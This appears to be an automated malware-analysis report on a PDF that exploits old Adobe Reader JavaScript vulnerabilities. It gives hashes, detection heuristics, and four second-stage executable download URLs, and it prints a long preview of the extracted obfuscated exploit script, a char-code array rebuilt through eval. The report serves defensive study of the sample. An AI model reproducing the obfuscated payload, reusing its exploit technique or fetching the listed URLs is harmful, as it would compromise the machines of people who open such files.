PDF malware analysis — malicious · bbb2bb69eabd0e01

MALICIOUS

PDF

75.3 KB Created: 2009-12-02 19:49:92 Authoring application: PDF Library 3.6.4 (via PDF Library 10.8.6) First seen: 2012-07-12

MD5: 3daaa6ec9e52aa5b7f67a267fdd31349 SHA-1: 1954632bde30bc7c36fb8bc9f487dda6e2233563 SHA-256: bbb2bb69eabd0e014e7c409b2d9800e3319d9a1109c6cdfb5abefd9b618ce3bd

592 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link

The sample is a PDF file that leverages multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. These exploits are triggered by embedded JavaScript, which is obfuscated and uses techniques like ASCIIHexDecode. The primary goal appears to be downloading and executing a second-stage payload, as indicated by the 'legacy_pdfkit_stage_000.js' artifact and the ClamAV detection of 'Js.Exploit.Shellcode-18'. The ML classifier and ClamAV detection strongly indicate malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 14

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED

The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSSyntaxError. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://style-boards.com/forum/bcgino2.exe Referenced by PDF JavaScript
- http://style-boards.com/forum/click.php?r=Referenced by PDF JavaScript
- http://style-boards.com/forum/abcpuw2.exeReferenced by PDF JavaScript
- http://style-boards.com/forum/dirx2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	38066 bytes
SHA-256: `1daf42b0bf93d20fbce016f993c8955cdfab052b1582d9da313785a775f6a0b0`
Preview script First 1,000 lines of the extracted script var fntwxy='';cmrsv="";aflw="";gijkux='';bikny='';cgkwx=false;apvw="";var fwxz=true,cilpqz='',ctuv="",blpvw=60040,bimpt=0,efny=String,cfmvwx=efny['fNrNoAmACwhNaNrwCwowdOel'.replace(/[lwOAN]/g,'')],adikov=String,fnuz=adikov['eBvracl2'.replace(/[2BcrF]/g,'')],ghnu="60",fhrt="",ceikm=[67,58,63,150,171,158,153,164,159,159,164,80,156,153,174,143,159,164,94,169,151,162,169,160,98,80,162,149,164,89,177,61,64,57,63,167,158,153,162,149,86,88,175,145,168,163,166,94,162,149,164,151,170,152,86,90,86,98,86,108,86,156,155,158,95,171,67,58,63,57,63,169,151,162,169,160,86,91,115,80,175,145,168,163,166,107,67,58,63,57,179,61,64,57,63,169,151,162,169,160,86,109,86,169,151,162,169,160,100,163,171,146,169,164,168,153,164,151,94,96,98,80,162,149,164,95,104,89,113,61,64,57,63,162,155,164,171,162,164,80,175,145,168,163,166,107,67,58,63,173,67,58,67,58,63,150,171,158,153,164,159,159,164,80,171,164,159,156,149,160,168,153,164,164,156,88,95,171,67,58,63,57,172,145,168,80,166,145,175,156,165,145,154,80,115,80,171,158,155,163,153,145,166,149,94,82,91,165,123,114,123,105,91,165,102,96,102,97,91,165,107,102,102,96,91,165,119,97,108,100,91,165,102,96,105,96,91,165,102,96,102,96,91,165,106,96,110,114,91,165,110,114,102,115,91,165,103,115,109,96,91,165,110,114,119,116,91,165,102,104,106,96,91,165,121,99,107,117,91,165,110,114,107,101,91,165,110,114,123,115,91,165,102,104,106,101,91,165,105,99,107,98,91,165,121,97,122,98,91,165,102,99,121,98,91,165,103,96,105,98,91,165,110,96,106,96,91,165,102,96,105,104,91,165,124,101,109,101,91,165,121,98,110,114,91,165,107,116,107,113,91,165,102,100,121,98,91,165,107,101,102,96,91,165,123,115,110,114,91,165,107,97,107,97,91,165,107,102,107,99,91,165,108,96,107,103,91,165,107,116,110,114,91,165,105,99,102,104,91,165,110,114,121,96,91,165,102,115,109,101,91,165,124,117,110,114,91,165,109,102,102,99,91,165,110,114,105,115,91,165,109,104,106,117,91,165,121,118,102,99,91,165,107,97,110,114,91,165,107,98,103,115,91,165,107,97,110,114,91,165,107,98,104,100,91,165,109,97,110,114,91,165,106,117,103,100,91,165,109,101,110,105,91,165,110,114,124,115,91,165,104,96,109,97,91,165,124,103,102,99,91,165,106,113,111,105,91,165,106,98,119,116,91,165,105,114,108,96,91,165,124,115,107,101,91,165,102,100,109,101,91,165,121,96,105,99,91,165,105,103,123,114,91,165,124,118,105,99,91,165,106,101,102,99,91,165,111,103,102,115,91,165,121,118,110,114,91,165,109,101,119,117,91,165,104,114,124,116,91,165,106,118,124,105,91,165,123,104,107,97,91,165,124,118,111,100,91,165,124,118,124,118,91,165,121,99,105,114,91,165,109,100,108,97,91,165,123,114,102,98,91,165,110,114,122,105,91,165,102,115,106,101,91,165,107,117,111,98,91,165,124,98,102,99,91,165,123,96,122,97,91,165,121,102,102,99,91,165,121,105,105,99,91,165,120,103,102,118,91,165,107,118,102,104,91,165,123,97,121,97,91,165,102,99,102,98,91,165,102,99,121,113,91,165,110,114,121,118,91,165,102,99,102,97,91,165,110,105,121,98,91,165,124,104,106,101,91,165,110,114,108,97,91,165,124,104,106,101,91,165,107,117,107,118,91,165,121,105,107,114,91,165,107,101,121,99,91,165,123,115,110,114,91,165,123,104,107,97,91,165,124,118,106,105,91,165,124,118,124,118,91,165,108,104,107,96,91,165,108,96,123,104,91,165,102,100,120,118,91,165,108,115,123,104,91,165,124,118,124,118,91,165,105,99,124,118,91,165,107,98,122,98,91,165,124,118,107,98,91,165,102,104,109,101,91,165,122,96,124,118,91,165,106,101,110,105,91,165,110,114,124,115,91,165,124,115,106,101,91,165,121,99,121,105,91,165,110,114,107,101,91,165,110,99,123,115,91,165,102,115,123,115,91,165,106,101,110,116,91,165,107,96,124,100,91,165,106,101,121,102,91,165,109,101,124,100,91,165,106,101,121,102,91,165,109,98,124,101,91,165,106,101,121,102,91,165,108,115,124,102,91,165,106,101,121,102,91,165,108,116,124,103,91,165,106,101,121,102,91,165,108,118,124,104,91,165,106,101,121,102,91,165,108,117,124,105,91,165,106,101,121,102,91,165,104,117,124,113,91,165,106,101,121,102,91,165,108,100,124,114,91,165,106,101,121,102,91,165,108,115,124,115,91,165,106,101,121,102,91,165,108,115,124,116,91,165,106,101,121,102,91,165,102,96,124,117,91,165,119,96,123,104,91,165,124,118,124,118,91,165,107,96,124,118,91,165,107,116,108,104,91,165,103,97,110,113,91,165,123,104,103,102,91,165,124,118,103,101,91,165,124,118,124,118,91,165,121,100,110,99,91,165,110,101,102,115,91,165,109,100,121,96,91,165,108,113,103,101,91,165,108,113,102,96,91,165,124,118,102,96,91,165,102,115,109,101,91,165,109,101,124,118,91,165,108,113,102,104,91,165,124,118,102,96,91,165,110,101,122,96,91,165,109,101,121,96,91,165,106,96,102,99,91,165,121,99,121,105,91,165,121,96,105,99,91,165,121,99,121,105,91,165,105,99,107,103,91,165,110,114,121,96,91,165,104,100,106,115,91,165,110,114,102,115,91,165,104,100,109,115,91,165,124,115,102,104,91,165,119,113,124,99,91,165,121,99,107,118,91,165,106,115,110,114,91,165,102,100,104,100,91,165,105,105,110,96,91,165,110,114,102,96,91,165,109,100,121,97,91,165,106,96,102,102,91,165,105,104,110,96,91,165,109,101,102,96,91,165,104,114,124,113,91,165,121,99,121,97,91,165,110,114,107,101,91,165,110,99,123,115,91,165,108,100,123,115,91,165,110,116,107,99,91,165,124,96,106,101,91,165,105,99,107,103,91,165,107,96,122,114,91,165,106,101,121,102,91,165,108,114,124,96,91,165,106,101,121,102,91,165,108,101,124,97,91,165,106,101,121,102,91,165,109,98,124,98,91,165,106,101,121,102,91,165,108,117,124,99,91,165,106,101,121,102,91,165,108,101,124,100,91,165,106,101,121,102,91,165,108,115,124,101,91,165,106,101,121,102,91,165,105,99,124,102,91,165,106,101,121,102,91,165,105,98,124,103,91,165,106,101,121,102,91,165,104,117,124,104,91,165,106,101,121,102,91,165,108,100,124,105,91,165,106,101,121,102,91,165,108,115,124,113,91,165,106,101,121,102,91,165,108,115,124,114,91,165,107,116,110,104,91,165,123,104,124,115,91,165,124,118,102,114,91,165,124,118,124,118,91,165,108,104,107,96,91,165,106,99,108,104,91,165,110,117,124,105,91,165,110,96,123,104,91,165,124,118,124,117,91,165,110,114,124,118,91,165,110,116,124,104,91,165,111,115,106,101,91,165,106,100,108,113,91,165,123,104,107,96,91,165,124,118,109,117,91,165,124,118,124,118,91,165,106,101,110,116,91,165,108,113,123,96,91,165,107,96,103,96,91,165,109,99,123,104,91,165,124,118,124,118,91,165,110,99,124,118,91,165,103,115,121,100,91,165,106,101,110,116,91,165,107,96,123,96,91,165,106,101,110,116,91,165,107,96,111,115,91,165,107,99,107,99,91,165,107,99,107,99,91,165,107,99,107,99,91,165,109,101,124,118,91,165,121,103,102,104,91,165,111,115,106,101,91,165,102,96,106,100,91,165,102,96,102,96,91,165,124,118,107,99,91,165,107,118,122,103,91,165,120,102,102,118,91,165,107,114,121,96,91,165,121,99,121,105,91,165,110,114,107,101,91,165,107,97,123,115,91,165,107,99,107,97,91,165,107,103,107,102,91,165,106,98,108,113,91,165,109,98,123,104,91,165,102,96,102,96,91,165,110,114,102,96,91,165,105,99,122,104,91,165,110,101,124,102,91,165,107,105,122,114,91,165,106,101,121,103,91,165,108,97,124,104,91,165,108,101,104,117,91,165,121,103,109,104,91,165,124,115,106,101,91,165,102,96,108,101,91,165,102,96,102,96,91,165,107,102,109,117,91,165,106,101,110,116,91,165,107,96,124,104,91,165,123,104,107,102,91,165,102,96,107,97,91,165,102,96,102,96,91,165,107,96,107,105,91,165,120,97,123,104,91,165,124,118,124,117,91,165,110,101,124,118,91,165,107,105,121,96,91,165,109,100,107,105,91,165,110,116,105,105,91,165,102,97,106,102,91,165,123,104,107,96,91,165,102,96,105,114,91,165,102,96,102,96,91,165,124,104,110,114,91,165,106,101,110,116,91,165,107,96,124,104,91,165,104,97,123,104,91,165,124,118,124,118,91,165,110,101,124,118,91,165,107,105,121,96,91,165,109,100,107,105,91,165,107,103,102,115,91,165,102,97,123,104,91,165,124,118,124,118,91,165,107,105,124,118,91,165,106,100,121,102,91,165,124,118,105,104,91,165,107,96,109,99,91,165,106,101,110,116,91,165,124,117,124,104,91,165,107,104,102,96,91,165,106,101,110,116,91,165,107,96,124,104,91,165,123,104,107,103,91,165,124,117,109,100,91,165,124,118,124,118,91,165,107,105,107,105,91,165,106,102,106,102,91,165,124,99,105,114,91,165,119,113,109,115,91,165,107,117,107,118,91,165,121,105,107,114,91,165,107,101,121,99,91,165,123,115,110,114,91,165,107,99,107,97,91,165,108,96,108,102,91,165,105,98,120,97,91,165,102,96,123,104,91,165,102,96,102,96,91,165,107,104,102,96,91,165,102,104,105,104,91,165,102,99,109,100,91,165,123,114,106,96,91,165,106,96,124,105,91,165,107,116,110,114,91,165,110,96,102,104,91,165,106,98,124,114,91,165,102,104,109,101,91,165,122,114,105,99,91,165,103,104,110,113,91,165,121,99,110,114,91,165,103,103,123,114,91,165,103,104,105,104,91,165,103,97,109,102,91,165,105,99,106,96,91,165,110,100,121,105,91,165,109,100,122,114,91,165,106,96,102,115,91,165,102,104,105,104,91,165,124,114,109,101,91,165,124,117,106,96,91,165,123,114,121,114,91,165,105,99,124,98,91,165,110,105,121,96,91,165,124,115,106,101,91,165,106,101,110,114,91,165,107,114,124,115,91,165,121,99,121,105,91,165,102,98,105,98,91,165,109,100,108,104,91,165,109,96,109,100,91,165,104,118,105,113,91,165,109,99,104,118,91,165,109,105,109,100,91,165,108,101,108,115,91,165,108,98,104,116,91,165,108,97,108,118,91,165,108,100,109,98,91,165,104,117,109,99,91,165,108,118,108,99,91,165,104,118,108,116,91,165,108,118,108,102,91,165,109,101,109,98,91,165,104,118,108,116,91,165,108,99,108,98,91,165,108,105,108,103,91,165,108,118,108,117,91,165,104,117,105,98,91,165,109,104,108,101,91,165,102,96,108,101,91,165,109,100,108,104,91,165,109,96,109,100,91,165,104,118,105,113,91,165,109,99,104,118,91,165,109,105,109,100,91,165,108,101,108,115,91,165,108,98,104,116,91,165,108,97,108,118,91,165,108,100,109,98,91,165,104,117,109,99,91,165,108,118,108,99,91,165,104,118,108,116,91,165,108,118,108,102,91,165,109,101,109,98,91,165,104,118,108,116,91,165,108,115,108,99,91,165,108,99,108,105,91,165,104,117,108,114,91,165,108,104,109,96,91,165,105,118,109,96,91,165,105,116,109,98,91,165,102,96,102,96,88,89,113,61,64,57,63,166,151,162,86,158,165,160,86,109,86,165,164,149,169,147,151,160,155,88,88,85,171,96,119,96,119,85,171,96,119,96,119,85,171,96,119,96,119,85,171,96,119,96,119,82,95,61,64,57,63,166,151,162,86,152,155,145,166,146,162,159,153,155,86,109,86,158,165,160,86,91,86,160,151,169,162,159,151,148,113,61,64,57,63,166,151,162,86,146,159,151,152,156,165,147,161,80,115,80,171,158,155,163,153,145,166,149,94,82,91,165,102,113,102,113,91,165,102,113,102,113,88,89,113,61,64,57,63,166,151,162,86,152,155,145,154,149,168,163,159,170,155,80,115,80,104,96,113,61,64,57,63,166,151,162,86,163,166,162,151,169,86,109,86,152,155,145,154,149,168,163,159,170,155,80,97,80,158,149,151,160,152,156,165,147,161,94,162,149,164,151,170,152,113,61,64,57,63,167,158,153,162,149,86,88,152,153,157,146,162,159,153,155,100,156,155,158,157,164,158,80,114,80,169,160,168,145,175,89,177,61,64,57,63,57,152,153,157,146,162,159,153,155,86,91,115,80,152,153,157,146,162,159,153,155,113,61,64,57,63,173,67,58,63,57,172,145,168,80,156,153,162,156,152,156,165,147,161,80,115,80,152,153,157,146,162,159,153,155,100,163,171,146,169,164,168,153,164,151,94,96,98,80,169,160,168,145,175,89,113,61,64,57,63,166,151,162,86,146,162,159,153,155,86,109,86,146,159,151,152,156,165,147,161,94,169,165,152,163,170,162,159,158,157,88,102,92,86,146,159,151,152,156,165,147,161,94,162,149,164,151,170,152,99,163,166,162,151,169,95,107,67,58,63,57,173,152,159,156,155,80,94,146,162,159,153,155,100,156,155,158,157,164,158,91,169,160,168,145,175,80,114,80,102,168,106,96,102,96,102,89,177,61,64,57,63,57,152,156,165,147,161,80,115,80,152,156,165,147,161,80,97,80,152,156,165,147,161,80,97,80,156,153,162,156,152,156,165,147,161,107,67,58,63,57,179,61,64,57,63,166,151,162,86,157,155,157,149,145,168,162,151,169,86,109,86,158,155,167,86,113,168,162,151,169,94,89,113,61,64,57,63,150,165,162,86,88,172,145,168,80,159,80,115,80,102,107,86,153,86,108,86,97,106,96,102,107,86,153,97,91,95,171,67,58,63,57,63,157,155,157,149,145,168,162,151,169,145,153,147,80,115,80,152,156,165,147,161,80,97,80,158,149,151,160,152,156,165,147,161,107,67,58,63,57,179,61,64,57,63,166,151,162,86,158,171,157,86,109,86,97,104,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,105,111,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,104,110,107,67,58,63,57,171,164,159,156,100,160,168,153,164,164,156,88,88,85,106,101,102,96,102,150,88,92,86,158,171,157,95,107,67,58,63,173,67,58,67,58,63,150,171,158,153,164,159,159,164,80,153,159,162,156,151,146,149,149,163,145,159,156,94,89,177,61,64,57,63,166,151,162,86,163,158,149,162,156,153,159,154,149,86,109,86,165,164,149,169,147,151,160,155,88,88,85,171,117,120,117,111,85,171,96,102,96,103,85,171,101,108,96,102,85,171,113,103,102,106,85,171,96,102,99,102,85,171,96,102,96,102,85,171,100,102,104,120,85,171,104,120,96,121,85,171,97,121,103,102,85,171,104,120,113,122,85,171,96,110,100,102,85,171,115,105,101,123,85,171,104,120,101,107,85,171,104,120,117,121,85,171,96,110,100,107,85,171,99,105,101,104,85,171,115,103,116,104,85,171,96,105,115,104,85,171,97,102,99,104,85,171,104,102,100,102,85,171,96,102,99,110,85,171,118,107,103,107,85,171,115,104,104,120,85,171,101,122,101,119,85,171,96,106,115,104,85,171,101,107,96,102,85,171,117,121,104,120,85,171,101,103,101,103,85,171,101,108,101,105,85,171,102,102,101,109,85,171,101,122,104,120,85,171,99,105,96,110,85,171,104,120,115,102,85,171,96,121,103,107,85,171,118,123,104,120,85,171,103,108,96,105,85,171,104,120,99,121,85,171,103,110,100,123,85,171,115,124,96,105,85,171,101,103,104,120,85,171,101,104,97,121,85,171,101,103,104,120,85,171,101,104,98,106,85,171,103,103,104,120,85,171,100,123,97,106,85,171,103,107,104,111,85,171,104,120,118,121,85,171,98,102,103,103,85,171,118,109,96,105,85,171,100,119,105,111,85,171,100,104,113,122,85,171,99,120,102,102,85,171,118,121,101,107,85,171,96,106,103,107,85,171,115,102,99,105,85,171,99,109,117,120,85,171,118,124,99,105,85,171,100,107,96,105,85,171,105,109,96,121,85,171,115,124,104,120,85,171,103,107,113,123,85,171,98,120,118,122,85,171,100,124,118,111,85,171,117,110,101,103,85,171,118,124,105,106,85,171,118,124,118,124,85,171,115,105,99,120,85,171,103,106,102,103,85,171,117,120,96,104,85,171,104,120,116,111,85,171,96,121,100,107,85,171,101,123,105,104,85,171,118,104,96,105,85,171,117,102,116,103,85,171,115,108,96,105,85,171,115,111,99,105,85,171,114,109,96,124,85,171,101,124,96,110,85,171,117,103,115,103,85,171,96,105,96,104,85,171,96,105,115,119,85,171,104,120,115,124,85,171,96,105,96,103,85,171,104,111,115,104,85,171,118,110,100,107,85,171,104,120,102,103,85,171,118,110,100,107,85,171,101,123,101,124,85,171,115,111,101,120,85,171,101,107,115,105,85,171,117,121,104,120,85,171,117,110,101,103,85,171,118,124,100,111,85,171,118,124,118,124,85,171,102,110,101,102,85,171,102,102,117,110,85,171,96,106,114,124,85,171,102,121,117,110,85,171,118,124,118,124,85,171,99,105,118,124,85,171,101,104,116,104,85,171,118,124,101,104,85,171,96,110,103,107,85,171,116,102,118,124,85,171,100,107,104,111,85,171,104,120,118,121,85,171,118,121,100,107,85,171,115,105,115,111,85,171,104,120,101,107,85,171,104,105,117,121,85,171,96,121,117,121,85,171,100,107,104,122,85,171,101,102,118,106,85,171,100,107,115,108,85,171,103,107,118,106,85,171,100,107,115,108,85,171,103,104,118,107,85,171,100,107,115,108,85,171,102,121,118,108,85,171,100,107,115,108,85,171,102,122,118,109,85,171,100,107,115,108,85,171,102,124,118,110,85,171,100,107,115,108,85,171,102,123,118,111,85,171,100,107,115,108,85,171,98,123,118,119,85,171,100,107,115,108,85,171,102,106,118,120,85,171,100,107,115,108,85,171,102,121,118,121,85,171,100,107,115,108,85,171,102,121,118,122,85,171,100,107,115,108,85,171,96,102,118,123,85,171,113,102,117,110,85,171,118,124,118,124,85,171,101,102,118,124,85,171,101,122,102,110,85,171,97,103,104,119,85,171,117,110,97,108,85,171,118,124,97,107,85,171,118,124,118,124,85,171,115,106,104,105,85,171,104,107,96,121,85,171,103,106,115,102,85,171,102,119,97,107,85,171,102,119,96,102,85,171,118,124,96,102,85,171,96,121,103,107,85,171,103,107,118,124,85,171,102,119,96,110,85,171,118,124,96,102,85,171,104,107,116,102,85,171,103,107,115,102,85,171,100,102,96,105,85,171,115,105,115,111,85,171,115,102,99,105,85,171,115,105,115,111,85,171,99,105,101,109,85,171,104,120,115,102,85,171,98,106,100,121,85,171,104,120,96,121,85,171,98,106,103,121,85,171,118,121,96,110,85,171,113,119,118,105,85,171,115,105,101,124,85,171,100,121,104,120,85,171,96,106,98,106,85,171,99,111,104,102,85,171,104,120,96,102,85,171,103,106,115,103,85,171,100,102,96,108,85,171,99,110,104,102,85,171,103,107,96,102,85,171,98,120,118,119,85,171,115,105,115,103,85,171,104,120,101,107,85,171,104,105,117,121,85,171,102,106,117,121,85,171,104,122,101,105,85,171,118,102,100,107,85,171,99,105,101,109,85,171,101,102,116,120,85,171,100,107,115,108,85,171,102,120,118,102,85,171,100,107,115,108,85,171,102,107,118,103,85,171,100,107,115,108,85,171,103,104,118,104,85,171,100,107,115,108,85,171,102,123,118,105,85,171,100,107,115,108,85,171,102,107,118,106,85,171,100,107,115,108,85,171,102,121,118,107,85,171,100,107,115,108,85,171,99,105,118,108,85,171,100,107,115,108,85,171,99,104,118,109,85,171,100,107,115,108,85,171,98,123,118,110,85,171,100,107,115,108,85,171,102,106,118,111,85,171,100,107,115,108,85,171,102,121,118,119,85,171,100,107,115,108,85,171,102,121,118,120,85,171,101,122,104,110,85,171,117,110,118,121,85,171,118,124,96,120,85,171,118,124,118,124,85,171,102,110,101,102,85,171,100,105,102,110,85,171,104,123,118,111,85,171,104,102,117,110,85,171,118,124,118,123,85,171,104,120,118,124,85,171,104,122,118,110,85,171,105,121,100,107,85,171,100,106,102,119,85,171,117,110,101,102,85,171,118,124,103,123,85,171,118,124,118,124,85,171,100,107,104,122,85,171,102,119,117,102,85,171,101,102,97,102,85,171,103,105,117,110,85,171,118,124,118,124,85,171,104,105,118,124,85,171,97,121,115,106,85,171,100,107,104,122,85,171,101,102,117,102,85,171,100,107,104,122,85,171,101,102,105,121,85,171,101,105,101,105,85,171,101,105,101,105,85,171,101,105,101,105,85,171,103,107,118,124,85,171,115,109,96,110,85,171,105,121,100,107,85,171,96,102,100,106,85,171,96,102,96,102,85,171,118,124,101,105,85,171,101,124,116,109,85,171,114,108,96,124,85,171,101,120,115,102,85,171,115,105,115,111,85,171,104,120,101,107,85,171,101,103,117,121,85,171,101,105,101,103,85,171,101,109,101,108,85,171,100,104,102,119,85,171,103,104,117,110,85,171,96,102,96,102,85,171,104,120,96,102,85,171,99,105,116,110,85,171,104,107,118,108,85,171,101,111,116,120,85,171,100,107,115,109,85,171,102,103,118,110,85,171,102,107,98,123,85,171,115,109,103,110,85,171,118,121,100,107,85,171,96,102,102,107,85,171,96,102,96,102,85,171,101,108,103,123,85,171,100,107,104,122,85,171,101,102,118,110,85,171,117,110,101,108,85,171,96,102,101,103,85,171,96,102,96,102,85,171,101,102,101,111,85,171,114,103,117,110,85,171,118,124,118,123,85,171,104,107,118,124,85,171,101,111,115,102,85,171,103,106,101,111,85,171,104,122,99,111,85,171,96,103,100,108,85,171,117,110,101,102,85,171,96,102,99,120,85,171,96,102,96,102,85,171,118,110,104,120,85,171,100,107,104,122,85,171,101,102,118,110,85,171,98,103,117,110,85,171,118,124,118,124,85,171,104,107,118,124,85,171,101,111,115,102,85,171,103,106,101,111,85,171,101,109,96,121,85,171,96,103,117,110,85,171,118,124,118,124,85,171,101,111,118,124,85,171,100,106,115,108,85,171,118,124,99,110,85,171,101,102,103,105,85,171,100,107,104,122,85,171,118,123,118,110,85,171,101,110,96,102,85,171,100,107,104,122,85,171,101,102,118,110,85,171,117,110,101,109,85,171,118,123,103,106,85,171,118,124,118,124,85,171,101,111,101,111,85,171,100,108,100,108,85,171,118,105,99,120,85,171,113,119,103,121,85,171,101,123,101,124,85,171,115,111,101,120,85,171,101,107,115,105,85,171,117,121,104,120,85,171,101,105,101,103,85,171,102,102,102,108,85,171,99,104,114,103,85,171,96,102,117,110,85,171,96,102,96,102,85,171,101,110,96,102,85,171,96,110,99,110,85,171,96,105,103,106,85,171,117,120,100,102,85,171,100,102,118,111,85,171,101,122,104,120,85,171,104,102,96,110,85,171,100,104,118,120,85,171,96,110,103,107,85,171,116,120,99,105,85,171,97,110,104,119,85,171,115,105,104,120,85,171,97,109,117,120,85,171,97,110,99,110,85,171,97,103,103,108,85,171,99,105,100,102,85,171,104,106,115,111,85,171,103,106,116,120,85,171,100,102,96,121,85,171,96,110,99,110,85,171,118,120,103,107,85,171,118,123,100,102,85,171,117,120,115,120,85,171,99,105,118,104,85,171,104,111,115,102,85,171,118,121,100,107,85,171,100,107,104,120,85,171,101,120,118,121,85,171,115,105,115,111,85,171,96,104,99,104,85,171,103,106,102,110,85,171,103,102,103,106,85,171,98,124,99,119,85,171,103,105,98,124,85,171,103,111,103,106,85,171,102,107,102,121,85,171,102,104,98,122,85,171,102,103,102,124,85,171,102,106,103,104,85,171,98,123,103,105,85,171,102,124,102,105,85,171,98,124,102,122,85,171,102,124,102,108,85,171,103,107,103,104,85,171,98,124,102,122,85,171,102,104,102,103,85,171,103,102,102,105,85,171,103,109,103,107,85,171,98,123,99,104,85,171,103,110,102,107,85,171,96,102,102,107,85,171,103,106,102,110,85,171,103,102,103,106,85,171,98,124,99,119,85,171,103,105,98,124,85,171,103,111,103,106,85,171,102,107,102,121,85,171,102,104,98,122,85,171,102,103,102,124,85,171,102,106,103,104,85,171,98,123,103,105,85,171,102,124,102,105,85,171,98,124,102,122,85,171,102,124,102,108,85,171,103,107,103,104,85,171,98,124,102,122,85,171,102,121,102,105,85,171,102,105,102,111,85,171,98,123,102,120,85,171,102,110,103,102,85,171,99,124,103,102,85,171,99,122,103,104,85,171,96,102,96,102,82,95,107,67,58,63,57,172,145,168,80,163,149,163,143,151,162,168,145,175,80,115,80,164,149,173,80,119,162,168,145,175,88,95,107,67,58,63,57,172,145,168,80,153,147,86,109,86,96,174,96,153,96,153,96,153,96,153,107,67,58,63,57,172,145,168,80,151,148,154,162,86,109,86,96,174,100,102,96,102,96,102,107,67,58,63,57,172,145,168,80,169,147,149,156,155,158,86,109,86,163,158,149,162,156,153,159,154,149,100,156,155,158,157,164,158,80,96,80,104,107,67,58,63,57,172,145,168,80,162,149,164,80,115,80,151,148,154,162,86,93,86,88,169,147,149,156,155,158,97,96,174,99,110,89,113,61,64,57,63,166,151,162,86,169,151,162,169,160,86,109,86,165,164,149,169,147,151,160,155,88,88,85,171,105,102,105,102,85,171,105,102,105,102,82,95,107,67,58,63,57,175,145,168,163,166,80,115,80,156,153,174,143,159,164,94,169